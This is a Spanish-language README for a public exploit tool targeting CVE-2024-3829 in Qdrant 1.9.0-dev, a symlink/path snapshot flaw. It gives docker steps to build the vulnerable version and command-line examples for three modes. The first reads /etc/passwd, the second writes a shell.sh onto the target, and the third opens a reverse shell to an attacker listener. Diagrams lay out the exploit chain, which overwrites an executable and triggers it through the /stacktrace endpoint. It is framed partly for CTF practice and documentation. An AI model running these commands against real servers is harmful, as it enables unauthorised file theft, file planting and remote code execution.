
CVE-2024-3829
########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################
_______ __ __ _______ _______ _______ _______ _ ___ _______ _____ _______ _______
| || | | || | | || _ || || | | | | | | _ | | || _ |
| || |_| || ___| ____ |____ || | | ||____ || |_| | ____ |___ | | |_| | |____ || | | |
| || || |___ |____| ____| || | | | ____| || ||____| ___| || _ | ____| || |_| |
| _|| || ___| | ______|| |_| || ______||___ | |___ || | | || ______||___ |
| |_ | | | |___ | |_____ | || |_____ | | ___| || |_| || |_____ | |
|_______| |___| |_______| |_______||_______||_______| |___| |_______||_______||_______| |___|
############################################### by fabse-hack.de ###############################################
Este repositorio documenta y demuestra CVE-2024-3829 para qdrant/qdrant (v1.9.0-dev)
La vulnerabilidad permite la manipulación de archivos de instantáneas mediante trucos de symlink/ruta. Esto permite dos clases de impacto y una reverse shell jaja:
Dependiendo del entorno, las primitivas de escritura de archivos pueden escalar a ejecución de código.
1.9.0-devEsta versión ya no está disponible en la world wide web (algunas personas la llaman "internet").
En el repositorio de qdrant, el informe NVD Nist señaló el commit, esa es la versión vulnerable v1.9.0-dev.
Si quieres instalar esta versión para CTF / otras cosas en un docker, usa:
git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln
cve_2024_3829.py - Exploit para el flujo de trabajo de lectura/escritura/activaciónrequirements.txt - Dependencias de PythonrequestsInstalación:
python3 -m pip install -r requirements.txt
Mostrar todas las opciones:
python3 cve_2024_3829.py -h
Ejemplos:
# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd
# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh
# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>
-h, --help: mostrar ayuda de CLI-m, --mode: uno de read, write, reverse_shell (requerido)-tu, --target_url: URL base de Qdrant (por defecto en el script)-tp, --target_port: puerto objetivo de Qdrant (por defecto: 6333)-tpath, --target_path: ruta remota objetivo (por defecto: /etc/)--target_url debe ser la URL base sin el puerto al final si pasas --target_port por separado, porque el script construye las URLs como <url>:<target_port>/....read, el script combina --target_path y --target_file_name (por ejemplo /etc/ + passwd).write, --attacker_path debe apuntar a un archivo local existente y --attacker_file_name define el nombre del archivo remoto.sequenceDiagram
participant Attacker
participant Exploit
participant Target
participant Listener
Attacker->>Exploit: Start exploit script
Exploit->>Listener: Start TCP listener
Exploit->>Target: Create malicious collection
Exploit->>Target: Upload trigger script
Exploit->>Target: Overwrite executable
Exploit->>Target: Call /stacktrace endpoint
Target->>Listener: Reverse shell connection
Listener->>Attacker: Interactive shell access
flowchart TD
Start[Start Listener]
Bind[Bind to attacker port]
Listen[Wait for connection]
Accept[Accept incoming connection]
Interactive[Interactive shell session]
End[Connection closed]
Start --> Bind
Bind --> Listen
Listen --> Accept
Accept --> Interactive
Interactive --> End
-tf, --target_file_name: nombre de archivo remoto objetivo (por defecto: passwd)-ai, --attacker_ip: IP de callback/escucha para el modo reverse shell-ap, --attacker_port: puerto de callback/escucha (por defecto: 9001)-apath, --attacker_path: ruta local del archivo del atacante para el modo escritura (por defecto: /tmp/)-af, --attacker_file_name: nombre de archivo utilizado en el objetivo en modo escritura (por defecto: shell.sh)